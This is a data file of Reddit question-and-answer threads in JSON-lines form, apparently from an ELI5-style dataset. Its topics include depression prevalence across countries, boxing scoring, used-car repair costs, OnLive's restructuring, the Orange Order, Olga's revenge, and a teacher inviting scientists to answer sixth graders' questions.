higher in high-income (14.6%) than low- to middle-income (11.1%) countries (t = 5.7, P  <  0.001). Indeed, the four lowest lifetime prevalence estimates ( <  10%) were in low- to middle-income countries (India, Mexico, China, South Africa). Conversely, with the exception of Brazil, the highest rates ( >  18%) were in four high-income countries (France, the Netherlands, New Zealand, the USA).\n\n > The ratio of the 12-month prevalence to lifetime prevalence is an indirect indicator of persistence. This ratio was significantly lower on average in surveys carried out in high-income (37.7%) than low- to middle-income (53.3%) countries (t = 7.5, P  <  0.001).\n\n\n\n > The poorest respondents in France, Germany, New Zealand and the USA had an approximately twofold increased odds of MDE compared with those in the highest income group. In the low- to middle-income countries, in comparison, income was not significantly related to MDE. ", "No, depression is not a first world problem. If you look at [this table](_URL_0_) you'll see that there are plenty of less developed nations with high incidence of depression. It *is* a big problem in developed nations, but if you look at India and Brazil, and really the entirety of South America, the story is quite different. (The WHO has newer data than this which is a bitch to browse, but if I remember correctly there is better data for Africa which shows a higher incidence.)\n\nPoorer people in the US also have a higher incidence than richer people. But it's important to remember that anyone -- rich and poor, wherever in the world -- have a high and growing chance of having a major depressive episode during their lifetime. According to the WHO, depression will be the second cause of disability world wide, and cause the most years lost to disability as it happens at a younger age than most other disabling medical problems.\n\nI can find sources later if it's interesting, but I write about this a lot so it's mostly in my head.", " > On the other hand, people live in places constantly consumed by war, or in very poor places where it's almost never certain when the next meal will be, and these people don't ever really seem to have problems with depression.\n\nDo you think it's reasonable to assume they don't have depression just because it might not be picked up or noticed? If a person doesn't even have access to medical care then how do they get diagnosed and added to some statistical count?", "One thing that always has to be taken into account is that data gathering is never perfect. There are always people who slip through the cracks, don't get noticed, don't report symptoms, etc. This is obviously more common in less developed countries where medical care is not as readily available. I would bet that if the data gathering were perfect, the prevalence of depression as a % of people in every country would be within the same percentage point.", "[This](_URL_0_) article from an Octobor issue of Nature seems to suggest that mental illnesses may be more of a first world problem.", "No Depression is not a first world problem, but the symptoms of depressions in developing countries manifest in other ways. In most cases, Depression in developing countries is expressed through physical symptoms. Although asking the patient a few questions can bring out psychological symptoms^[[1]](_URL_0_)\n\nThe World Health Organization reports: \n >  the disease that robs the most adults of the most years of productive life is not AIDS, not heart disease, not cancer. It is depression.\n > The disease is not merely a bourgeois problem. It is especially prevalent in places that have experienced war, disaster or crushing deprivation. Yes, in many poor countries the bonds between people are much stronger than they are in wealthier, more individualistic societies, and this is a good thing for mental health. But it can hardly counteract the fact that a lot of people have an awful lot to be depressed about. Violence \u2014 whether war or high rates of crime \u2014 produces widespread post-traumatic stress. The constant worry that a crop failure or serious illness will throw a family into poverty is a source of extreme anxiety. Seeing your children go hungry creates paralyzing guilt.\n\nSource: [New York Times](_URL_1_)\n\n\nNote: I'm a Psych Major", "In short: No, however it's more noticeable here.\n\nIn countries where every day is a challenge just to survive, depression tends to take a back seat. Yeah, your neighbor may be depressed, but he's too busy just trying to survive to focus on it, and if it ends up consuming him, he just dies and he's one of many that died in the same difficult world as anyone else. This is compounded by a much smaller number of doctors capable of diagnosing depression, thus statistics are even more skewed because there are less diagnoses of clinical depression.", "I do think however in the developed world there is some \"faux depression\".  I know from personal experience that often times people get diagnosed with depression when they are actually just sad.  The society I'm surrounded in (Midwest U.S.) has this phobia of being sad.  Like sadness is this disease that needs to be eradicated.  I'm pretty sure sadness is a natural emotion.  Something bad happens to you, you may get sad.  \n\nNow a lot of people do have irrational depression and that is real.  But I just think a lot of people get medicated and what not for sadness rather than depression.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3163615/"], ["http://en.wikipedia.org/wiki/Epidemiology_of_depression#By_country"], [], [], ["http://www.nature.com/news/stress-and-the-city-urban-decay-1.11556"], ["http://www.bmj.com/content/322/7284/482", "http://opinionator.blogs.nytimes.com/2012/07/18/fighting-depression-one-village-at-a-time/"], [], []]}
{"q_id": "33rj4q", "title": "how can you reliably recreate a person's face from dna?", "selftext": "Talking about artists recreating people's faces in a way that you could recognise that person from them. It's been in the news a few times.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/33rj4q/eli5_how_can_you_reliably_recreate_a_persons_face/", "answers": {"a_id": ["cqnphn0"], "score": [11], "text": ["You can't. You can predict the ethnicity, and a few vague measurements. It is still difficult. That is why you see them only *sometimes*. Else crime fighting would be slightly *less difficult*. Instead looking for clues they can just look for DNA, which can give a face that can be searched easily. \n\nIt is still not reliable and work only on the known parts of genes. There is a reason artists are working on it and not scientists. There is a lot subjective information that goes into developing the face from genes alone.\n\nThe artists, rely on certain markers. A person's ethnicity can be deduced (almost accurately, if there are no mixed ethnicities). Then the *most probable* eye color, probably skin color. The artist extrapolate on such vague points, then apply what they know. \n\n(I simplified, probably a bit too much)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1wbrfi", "title": "[meta] can we have something like \"stuff every 5-year old should know?\"", "selftext": "Or just anything that explains a topic ELI5-style, giving out main details so that everybody has a general sense of understanding of the topic.\n\nE.g the Trojan War. \n\nNot everyone needs to know the details of the politics surrounding the war, but main details include the Golden Apple being the trigger for the war, characters like Achilles or Odysseus, and of course the wooden horse.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1wbrfi/meta_can_we_have_something_like_stuff_every_5year/", "answers": {"a_id": ["cf0hn4s", "cf0kc2n"], "score": [3, 2], "text": ["That's a great idea. What's stopping you?", "The sky isn't blue from the ocean..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "jrz1k", "title": "football's financial fair play", "selftext": "Hi, can anybody here ELI5 what exactly is the financial fair play, and why it would help (in the long run) the league. [By football I mean soccer]", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/jrz1k/footballs_financial_fair_play/", "answers": {"a_id": ["c2en9p8", "c2eonok", "c2en9p8", "c2eonok"], "score": [6, 2, 6, 2], "text": ["If I remember correctly, a club has to live within it's means.  Meaning it can't spend more than it is taking in.  They are also supposed to look into kit deals/stadium deals that seem a little too sweet, like that Etihad airlines deal for City.\n\nIf you're a Chelsea or Manchester City fan, it means your owner won't just be able to bankroll you a new squad every year.  You need to turn a profit.", "The Financial Fair Play Rule is meant to prevent Football Clubs spending more and more every year to stay competitive. \n\nIt begins being active 2012, with financial controls by the UEFA for the following years. In those controls the clubs need to reach certain requirements, with a smaller allowed deficit every year, until in 2015 the Clubs have to show the UEFA clean financial records. This means they can't have spend more than they made by TV-rights, Ticket sales etc. \n\nIt's said that if they break the rule they could be excluded from international tournaments, but there is no \"offical\" list of punishments yet. \n\nHow it helps the League? For one it's supposed to give smaller Clubs a better chance of staying competitive, since bigger Clubs can't keep on the top simply by getting a rich investor/owner etc. and buying top class players they can't afford. Also, keeping up the current trend, the amount of money involved in top-class-football would get higher and higher until eventually most major clubs would simply go broke. \n\n\n", "If I remember correctly, a club has to live within it's means.  Meaning it can't spend more than it is taking in.  They are also supposed to look into kit deals/stadium deals that seem a little too sweet, like that Etihad airlines deal for City.\n\nIf you're a Chelsea or Manchester City fan, it means your owner won't just be able to bankroll you a new squad every year.  You need to turn a profit.", "The Financial Fair Play Rule is meant to prevent Football Clubs spending more and more every year to stay competitive. \n\nIt begins being active 2012, with financial controls by the UEFA for the following years. In those controls the clubs need to reach certain requirements, with a smaller allowed deficit every year, until in 2015 the Clubs have to show the UEFA clean financial records. This means they can't have spend more than they made by TV-rights, Ticket sales etc. \n\nIt's said that if they break the rule they could be excluded from international tournaments, but there is no \"offical\" list of punishments yet. \n\nHow it helps the League? For one it's supposed to give smaller Clubs a better chance of staying competitive, since bigger Clubs can't keep on the top simply by getting a rich investor/owner etc. and buying top class players they can't afford. Also, keeping up the current trend, the amount of money involved in top-class-football would get higher and higher until eventually most major clubs would simply go broke. \n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "1v02tr", "title": "How comparable was the 19th century Canadian Orange Order to its Irish counterpart?", "selftext": "I just finished reading John Ralston Saul's biography on Louis-Hippolyte Lafontaine and Robert Baldwin, and came across many references to the Orange Order. A cursory wikipedia search revealed some information on the general background of the Canadian organization, which mentioned that Scottish and English individuals also joined. However, I'm more interested in the ideological and social aspect of the organization.\n\nWith that in mind, how different were the two organisations? Did they share the same ideology, or celebrate certain dates like the Irish Orange Order? Was the Canadian Orange Order an extension of the Irish organization, or did it operate separately? How aware would members of one be aware of the activities of the other?\nIf there are any reliable sources on the subject, where could I find them?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1v02tr/how_comparable_was_the_19th_century_canadian/", "answers": {"a_id": ["cenldip"], "score": [2], "text": ["The Canadian Orange Order [is an extension of the Northern Irish organization.]( _URL_2_) and shared the same ideology of loyalty to the British crown and the support of Protestantism, complete with parades and occasional violent conflict with Catholics. [Here is an article about an academic conference held in 2005 about them.]( _URL_0_). You may also want to look for [this book]( _URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.counterweights.ca/2005/11/orange_order/", "http://books.google.ca/books/about/The_Orange_Order_in_Canada.html?id=aCEVAQAAIAAJ&amp;redir_esc=y", "http://www.orange.ca/history"]]}
{"q_id": "34ov4j", "title": "how is boxing scored", "selftext": "Why is floyd mayweather winning when he isn't taking initiative or throwing more punches? How do they decide each round and how do they decide the overall winner? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34ov4j/eli5how_is_boxing_scored/", "answers": {"a_id": ["cqwpgu4", "cqwpmyv", "cqwy7av"], "score": [12, 18, 4], "text": ["Boxing is scored by overall punches landed, not thrown. You see Manny throwing a lot of punches, but the majority of those are being blocked by Mayweather, so they are not counted toward his score. Other things are taken into account such as knockdowns, losing your mouth guard and overall finesse of the boxer.", "Boxing is most commonly scored with the winner of a round being given a 10 and the loser a 9.  A draw gives both a 10.  Any knockdowns mean another point is deducted from that boxer.  Once that score is established, any point deductions for fouls called by the referee are calculated in, so that if the winner has a foul called, the score becomes 9-9.\n\nExamples:\nX wins a round over Y: 10(X) -  9(Y)\n\nX wins a round, knocking down Y twice: 10(X) - 7(Y)\n\nX wins a round, knocking down Y, but also committing a foul: 9(X) - 8(Y)\n\n\n\nThe winner of a round is basically determined by who landed more \"clean\" punches.  Shots that just graze the body or get blocked are \"worth\" far less than a clean punch to the body or head.  It's better to land a few solid punches that to be continuously throwing misses or into guards.  ", " >  Why is floyd mayweather winning when he isn't taking initiative or throwing more punches?\n\nActually he did throw more punches, look up the numbers.\n\nAnyway, in amateur boxing it's hits of sufficient force. So a blow to the side or front of the head or body, above the belt.\n\nIf you score more of those, you win the round which gives you 10, the other 9. If you knock someone down the other gets only 8. \n\nIn pro boxing however it's not just punch-landed count. There's subjective stuff involved. Like ring leadership, initiative, aggression, punch volume, strength of punches etc. But punch land count is still prevailing.\n\nSo if you hit someone 10 times and he hits you 7, you win the round. But if he hit you 7 times but stunned you hard and wobbled you, he'll get the round. If you both throw 100 punches, land 20, but you're just countering and the other is showing initiative, he gets the benefit of the doubt.\n\nThen there's really unofficial stuff, like the defending champ gets the benefit of the doubt.\n\nAnyway, this match was quite lopsided, May clearly won. He threw more, landed more of any punch (jab or power punch), landed as many power punches as Pac landed punches. He showed control, he was elusive, he showed great footwork. He threw some really great straight rights to the face and had an awesome check hook going. But most importantly he landed 75% more, watch the tapes. You can discuss details a lot, but if you land 10 and someone lands close to 18, including some really great shots that pop your had back, it's over. Most experts scored it 8 to 10 rounds out of 12 to Mayweather, 2 to 4 for Pac."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "98kxr5", "title": "why is it often cheaper to buy a replacement second hand car than to replace the parts of your existing one when something major goes wrong?", "selftext": "If you're driving an old and cheap car (~$1k value) and something relatively major goes wrong, it's often cheaper to buy another car and scrap the old one than it is to repair the existing one. Given the replacement car has at least all of the parts required to replace the old one, and presumably many other parts too, as well as the baked in labor cost required to build that car in the first place, how does it still end up being cheaper than repairing the first car?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/98kxr5/eli5_why_is_it_often_cheaper_to_buy_a_replacement/", "answers": {"a_id": ["e4grcvh", "e4gren4", "e4gt6fe", "e4gt6g2", "e4ha0k2", "e4hms0b"], "score": [13, 2, 4, 7, 2, 3], "text": ["Mechanics are expensive. If you have the know how to do the work yourself, then it's not more expensive usually. Unless your current car is some weird or rare make and model where parts are hard to find.\n\nAlso there is the perception, people get it in their head that because one thing failed on the car, then the rest must be on their way too. Which isn't exactly wrong, but the same can be assumed about any car the same age.", "Couple of things.\n\nNumber one: The price of ordering individual parts may be higher than if you worked out their 'cost' within a fully assembled car. Let's say you buy a car for $1k, and work out the engine probably made up $200 of the price. It'd probably be more to order the engine seperately. This is for a number of reasons, mainly the dealership/mechanic you get it from probably had to go out of their way to get it and wants to make a good margin.\n\nNumber two: The replacement car has depreciated in value. This means that the car has lost value because it's been used, and it's parts aren't new. Often you may buy the replacement car, only to discover there are a set of problems with this car, or problems that haven't happened yet, but may happen soon (such as worn down tires that aren't unusable yet,  but soon will be)", "Cars depreciate in value incredibly rapidly.\n\nIf you were to take your old $1000 car and add up the cost of all the individual parts, the engine, transmission, the seats, the tires, etc you'll end up with several thousand dollars worth of parts.\n\nBut the perception of an old car is that it's wearing out, there's a lot of risk running an old car and lots of things that can go wrong with it so people deliberately under value older cars.\n\nBut the cost of replacing the individual components + the labor cost of hiring a mechanic doesn't go down. So more often than not damage to an engine or a transmission on an old car will effectively write it off.\n\nThe secret to maintaining an old car cheaply is to get second hand parts from scrappers for the stuff that isn't critical, and get discount good quality parts for the critical stuff (breaks, fuel lines, water pump, etc) and here's the key part... do the work yourself.", "It usually comes down to the cost of labor for a single mechanic to remove, repair/replace, and reinstall a part. A mechanic makes X$ per hour, and doing something by hand, like taking out and replacing an engine, takes Y hours. \n\nThe part itself might cost $500, but the 16 hours of labor it requires to uninstall and reinstall that part costs $750. The combined $1250 is more than the cost of your car. \n\nIf you can avoid the labor cost, it is almost always going to cheaper to replace or repair a part than it is to buy a non-broken vehicle.\n\nThere is also the value of scrap in your previous, ruined car. Most cars can net you around $500 of scrap metal if all you do is junk it. This isn't worrying about the cost of making any particular item, or the value of any item, just the raw materials that can be extracted from the whole. ", "There is a significant different in the labor cost to assemble a car on a line, where millions of dollars are invested in ensuring that each step is done as efficiently as possible, and the labor cost to replace/repair an individual part in a car that's already assembled, and where parts are rarely designed to be replaced efficiently.  ", "Because whole cars are assembled in factories, they're mass produced. Repairing an individual car requires a company to dedicate time, resources, and labour only to that one car, acquire specific parts, and otherwise do things that aren't done on a large scale.\n\nIt's the same reason why it's cheaper to buy wholesale than to buy individually."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "12ci5b", "title": "Classical scholars, what are your favorite obscure myths?", "selftext": "As a lover of the myth, I would love to hear your little known stories of gods, demigods, heroes, and thieves that made an impression upon you.\n\nOne for me was the tale of Cycnus or Kyknos and Phylios from Ovid's Metamorphoses. \n\nKyknos was a beautiful and self-indulgent demigod. He mistreated his only friend an loyal follower Phylios, ordering him to complete an impossible task. Kill a lion plaguing the village with no weapons. Phylios sets out and consumes an inordinate amount of wine and food. He sneaks over to the lion and proceeds to gag himself in front of it. Vomiting out the food now saturated with wine (Although why he did not just pour the wine on the food, we will never know). The lion eats the food, becoming intoxicated, sluggish. Phylios leaps upon its back and strangles it.\n\nUpon dropping it at Kyknos' feet, the haughty son of Apollo sends him on yet another quest: catch the vultures plaguing the land. Alive. Phylios arrives at the fated spot, but sees no way to accomplish his task. In perfect Deus Ex Machina form an eagle drops a half-eaten rabbit out of the sky. He tears the rabbit open and the vultures swoop. Phylios catches one in each hand and drags them back to Kyknos as they peck him terribly along the way. Bloody and tired, of course beautiful Kyknos, perturbed at his success throws at his forever servile friend, another task.\n\nThis one he made sure would never be accomplished. He would not stand to be upstaged by a mere mortal. He sends Phylios out to drag a bull away from its herd, using only his hands, all the way to the altar of Zeus. \n\nPhylios seeing no way to take down a half ton bull prays to the deified mortal, Heracles for strength. His prayer is answered as a bull walks over to the bull he was watching, challenging it. The bulls butt heads and knock each other into submission. Phylios runs over and drags the bull with all his might to the Altar in the acropolis.\n\nAs he stands there in front of Kyknos, Heracles appears and reasons with Phylios: Kyknos is undeserving of his labor and love\n\n\"...angry that his love was spurned so long, refused the boy the bull, that last best gift. Pouting, he [Kyknos] cried, `You'll wish you'd given it!' and leapt from a high headland. Everyone thought he had fallen : he was made a swan and floated in the air on sowy wings. But Hyrie, his mother, unaware that he was saved, in tears dissolved away and made the lake that keeps her name today.\"\n\nThat's one of mine, what are some of yours? I'm terribly sorry if that was long winded and poetic-licensed.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12ci5b/classical_scholars_what_are_your_favorite_obscure/", "answers": {"a_id": ["c6u5yp1"], "score": [8], "text": ["It's not classical, and it's not exactly a myth, but I've got something that's certainly obscure: *Olga's Revenge*.\n\nIt's from (a version of) the Primary Chronicle, the first history of Rus' and the early East Slavs.\n\nSo, the retinue of Igor, Prince of Kiev, is jealous of Sveinald's retinue, because they have a lot of nice weapons and clothing, so they get their prince to go 'collect tribute' from the inhabitants of Dereva, the Derevlians. Igor strongarms the Derevlians into paying additional money on top of what they already had to pay, and after he and his troops have gone, he decides that he wants even more money from them, and heads back to Dereva with a small number of troops.\n\nThe Derevlians and their Prince Mal, meanwhile, decide that the best course of action is to kill Igor and his retinue, because if they don't, he'll keep extorting them, so they do that and bury him in the woods.\n\nMeanwhile, Igor's wife Olga was in Kiev with her son Svyatoslav. The Derevlians decide that she'd make a good match for Prince Mal, and they can raise Svyatoslav so that he'll do as he's told and not raid their city for tribute. The Derevlians send their 20 best men to go retrieve Olga by boat, and Olga asks why they came. \"The Derevlian people hve sent us, we have killed your husband, for he was like a wolf, kidnapping and robbing, and our princes are kind.\" Olga admits her husband wasn't the nicest guy, and instructs the Derevlians to spend the night in their boat. She'll send some men to retrieve them in the morning, she says, and the Derevlians are to insist that they won't walk or ride horses, but that they should be carried in their boat to Olga. After they leave, she orders a grave to be dug, \"great and deep\" in the courtyard.\n\nOlga sends her men to the Derevlians in the morning, and they do as Olga bade them. The Kievans then throw them, boat and all, into a big hole, and Olga asks them \"Am I being respectful?\" Then, she orders them buried alive.\n\nAfter this, Olga tells the Derevlians \"If you really forgive me, then send me the best men so that I may marry your prince with great respect.\" The Derevlians, predictably, send their best men. Olga has her servants build a banya (a sort of Slavic sauna), and tells the Derevlians that they need to purify themselves in the banya before she can go marry Prince Mal. After the Derevlians all go into the banya, Olga has the doors barred and burns the whole thing down.\n\nPrince Mal is still pretty set on marrying Olga, so she tells him to send an army, with each man bearing a tribute of 3 sparrows and 2 pigeons. The Derevlians do as they're told, and Olga sends them back to Dereva to await her return. She then has her servants tie tinder and kindling to all of the birds, and sets them free. The story wasn't exactly clear how the birds catch fire, but they do, and Dereva is then burned to the ground."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "yswjx", "title": "how is this all legal? onlive", "selftext": "According to [Wikipedia:](_URL_1_)\n\nOn 17 August 2012 the company laid off all of its employees.[27] \n\nOnLive entered into a proceeding known as an 'Assignment for the Benefit of Creditors', wherein all previous OnLive shareholders purportedly lose their stakes in the company.[28]\n\nOnLive then sold off its assets and started a new company, also called OnLive.[29]\n\nOn 20 August 2012 the company officially revealed Lauder Partners as the buyer.[30]\n\nThen [this article](_URL_0_) states:\n\n the original CEO Steve Perlman will be the CEO at the \"new\" company.\n\nEven after he made this speech:\n\n\"I\u2019m the one that brought you here. I\u2019m the one that ultimately made decisions. And I\u2019m the one that ultimately takes responsibility. So I am sorry, and it didn\u2019t end up exactly as we\u2019d hoped.\"\n\n**TL:DR:** Onlive drops all employees , all shareholders immediately loose their stock in Onlive.  A new company also called Onlive is formed, many of the same employees hired back and the same CEO takes up the same position.\n\nHow does that all work?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/yswjx/how_is_this_all_legal_onlive/", "answers": {"a_id": ["c5yjgyz", "c5ylzvy"], "score": [3, 6], "text": ["\n > **TL:DR:** Onlive drops all employees , all shareholders immediately loose their stock in Onlive.  A new company also called Onlive is formed, many of the same employees hired back and the same CEO takes up the same position.\n\nSo what happened is the company had X amount of assets.  And an amount of debt that was equal to or greater. When you own something and that thing has as much debt, or more debt, associated with it than its value and you have no way to pay it off, your creditors can take possession of it. \n\nIn this case, that's what happened.  Then, someone agreed to buy it off of them and reform the company, essentially. ", "It's pretty much using the [Phoenix Company](_URL_0_) approach.\n\nYes people lost shares, but once the true scale of OnLive's business dealings, and specifically the trouble they were having paying off their debts, became known, those shares would have been worthless anyway.\n\nPersonally, as an investor I wouldn't have touched the company. I believe there's space and opportunity for a company like OnLive to thrive, but the management team got it very *very* wrong.  They bought too much, unnecessarily powerful equipment based on a pipe dream instead of scaling out when necessary.  That's a pretty fundamental thing to get wrong.  And at the scale we're talking about, it was fatal."]}, "title_urls": [], "selftext_urls": ["http://gamer.blorge.com/2012/08/24/onlive-ceo-to-remain-with-the-company-company-was-30-to-40-million-in-debt/", "http://en.wikipedia.org/wiki/OnLive"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Phoenix_company"]]}
{"q_id": "3c3y3p", "title": "why is nutrition such a tiny part of medical school courses?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3c3y3p/eli5why_is_nutrition_such_a_tiny_part_of_medical/", "answers": {"a_id": ["css0btb", "css0klj"], "score": [4, 12], "text": ["Med school is about training doctors, not nutrition specialists.  There are programs that extensively teach nutrition if that's what you want to do.", "Several reasons, from a US perspective. One, we can only cover so much information in the time available, so priorities have to be made. \n\nTwo, nutritional deficiencies aren't really that much of a problem here. There's a huge industry that tries to convince us we all need to be taking supplements, but that's mostly unnecessary.  \n\nThirdly, the important stuff that actually matters is covered: the importance of proper diet and exercise, salt intake, the dangers of obesity, vitamin D deficiency, various electrolyte disturbances, etc. These topics aren't all that hard to grasp, so there's no need to spend an inordinate amount of time on it. \n\nIf you go into a specialty that necessitates a focus on the finer points of nutrition, you'll pick up that knowledge in residency and/or utilize a nutritionist in practice. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "hbxjx", "title": "Would /r/AskScience be up for fielding questions from an elementary class?", "selftext": "**EDIT**:  I talked this over with my teacher, and it's a go.  Tonight, I'm going to give the students a homework assignment (or I might do an in class, I'll have to feel it out) to come up with a question they'd like to ask a scientist.    Tomorrow, Tuesday, I will post a topic here with the questions as separate comments, as well as in the topic.  This will give about 24 hours for the questions to be answered.\n\nOn Wednesday, I will put the topic up on the smartboard and show/talk about the answers with the class.  If someone answers a question, and would be interested in doing a skype-in, we will talk about it and set up a time for Wednesday.  I'll also let you know what time we'll be looking at the topic \"live,\" so anyone who wants to hang around the topic to answer clarifying questions can.\n\nHow do you all feel about this arrangement?\n\nThe \"live\" topic will be posted under the username \"Ms_Christine.\"\n\n\n________________________________________________________\n\n\nI'm actually currently student teaching, and my time is up in 3 days, but I saw someone comment in this subreddit, \"I want people to be interested in science again.\"  \n\nThat got me thinking.  I can answer a lot of their questions on a generally deep, but still surface level.  You guys can go into the really deep bits where I couldn't hope to fill in, despite how much I try to teach myself.\n\nThe class I'm teaching right now, 6th graders, is very curious and asks great questions.  I was teaching about how the tilt of the earth's axis is the cause of seasons, and we ended up talking about black holes and quantum physics and a whole bunch of other stuff, but they eventually started asking questions I couldn't answer.  They just want to know as much as possible.  (Or derail my lessons, but if they're still learning and more interested in this, I'm happy to play to them)\n\nAnyway.  In the future, probably distant, but maybe near future, would you guys be interested if I set up a thread or threads and posted questions from 6th graders and had you guys answer them?  For them, it would be like they were talking to scientists.\n\nIf I come up with any other ideas to add to this I'll let you know, but I'd really like to hear your feedback on it!\n\nEDIT:  There seems to be a huge amount of support!  This is awesome!\n\nAndrewAcropora suggested the possibility of having the experts skype in to talk directly to the children.  I love this idea!  Looking way further down the road when I have my own classroom, I wonder if it's possible to set up a system where I can have several experts in different fields on skype, and when a question comes up, or maybe in weekly sessions, we can call up the expert and have them answer.  There's a lot that would have to be worked out with it, but what do you think about that idea, and would you be interested in being a part of it?\n\nOn another note, do you guys think it would be OK if it were an ongoing thing, with questions being posted every so often, or are you more comfortable with it being a one time thing?\n\nI don't know if I'm going to be able to pull this off in the three days I have left, but I will have my own class in a year or two.  Since this seems to have gotten so popular, I am definitely going to go in early tomorrow to talk to my cooperating teacher and see if we can't find some time and make it work.\n\nThank you so much!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hbxjx/would_raskscience_be_up_for_fielding_questions/", "answers": {"a_id": ["c1u75kf", "c1u77cp", "c1u798f", "c1u7b7i", "c1u7gm7", "c1u7hd7", "c1u7jk3", "c1u7ky2", "c1u7onq", "c1u7pd1", "c1u7r9a", "c1u7sgc", "c1u7teo", "c1u7wwg", "c1u7xef", "c1u7yb2", "c1u85sk", "c1u85z3", "c1u8abl", "c1u8h5k", "c1u8hxc", "c1u8pqm", "c1u8tlj", "c1u8x9n", "c1u957h", "c1u9ks8", "c1u9rcy", "c1uc202"], "score": [46, 22, 43, 101, 86, 135, 16, 4, 10, 2, 2, 9, 12, 6, 7, 2, 4, 5, 2, 9, 7, 9, 2, 2, 2, 2, 4, 2], "text": ["This sounds like a fun idea. They will get the most out of it if they can participate rather than just submitting a canned question. Also, I would suggest you do a follow up afterwards going over the various answers and having the students evaluate them for accuracy and completeness. This would allow a discussion of sources and the reliability of answers.", "I would really like to see the kinds of questions asked. This should be fun to watch!", "I'd love to answer questions on anything related to satellites and orbits :) I've worked the last 3 years in mission ops and currently work on Kepler, if they (or you) have heard of it.", "Of course, it is the perfect opportunity for us to test ourselves via the old adage: \"If you can't explain it simply, you don't understand it well enough\"", "May we ask them questions too? (within reason) :)", "You mean we haven't been?\n\n(I kid. I kid. Stop hitting me.)", "I would love to see that. Please make videos with them asking questions, that should be pretty adorable to watch.\n\nAnd a little advice from a former 6th grader (loooong time ago, but still) - don't ever hesitate to admit that you don't know something or you made a mistake. My math teacher was really happy when we were able to spot her mistakes on a blackboard and were giving us extra credits for that. It made us pay attention to what she was doing, after all who doesn't want to correct their teacher? She was the person to get me interested in maths. Unfortunately I wasted my passion and sold my soul to Economics instead of real science ;)", "That was me! And as a former biology teacher I would love to join in!", "Would be happy to help!!", "Yes. The sooner and more often, the better.", "That sounds awesome! I'm in.", "Fo' sho. Looks like you've got a rainbow of panel scientists in this thread already. ", "What would be even more awesome is if you would ask the question, have it answered, and then have the scientist that answered call up via skype to give the answer and talk about it a little bit. ", "I'd love to.  It would be great if we could get a video dialog going to make it a bit more personal.", "I would gladly answer questions. ", "anything on my end, just let me know. ", "I am not a panelist, nor do I hope I could get a question on cognitive psychology but children tend to ask the best questions. (Why is the sun moving? Why am I thinking? Why do I see colors? Can we have dessert?)", "Sounds like a plan to me.  Maybe it'll result in a little more text added to the \"Education and Outreach\" section of our grant applications and progress reports.", "Yup.  Hopefully it goes better than my tutoring sessions too.  ", " >  (Or derail my lessons, but if they're still learning and more interested in this, I'm happy to play to them)\n\nYou're screwing up the vertically aligned curriculum.\n\nBut you're getting them interested in science, and that's worth a lot more.", "Absolutely amazing.  As a father of two children, it really warms my heart to see someone who takes an interest in actually helping kids learn, even if it is outside of the original lesson plan.  Not only that but to use the internet, and more specifically reddit to help, that just amazes me.  Kudos to you and kudos to everyone who is helping.  I just hope that my children have a teacher or two like you as they get older.", "Couldn't we do something else too? \n\nWe could get the questions here and prepare youtube videos with the answers and create a youtube channel to post the answers, that way it would be easier to review later.", "I'm not sure anyone will ask about my field, but I'll be here if you need me!", "This sounds great! I'm glad you're taking the initiative to incorporate technology into your teaching. Though I'm no scientist, I'm in college trying to be one, and I\"ll definitely help answer questions; hopefully, I'll learn something myself.", "What a great idea.  Would be happy to help in any way I can.", "Kids have very interesting questions that most people can't answer.  Stuff like why is the sky blue, why does a bike not fall over, what is fire (and why does it glow), how does a plane fly (not the false notion of air speeds), how does a computer think, how do skates work, etc. \n\nThen of course they'll have crazy questions that are fun like are there such things as dragons (almost a universal thing in world cultures), can a pack of raptors kill a t-rex, what is the biggest bug to ever exist.", "I don't think it should be a one time thing, just tag the post [Kids] or something. ", "Verifying I will be posting the \"live\" topic under this username."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
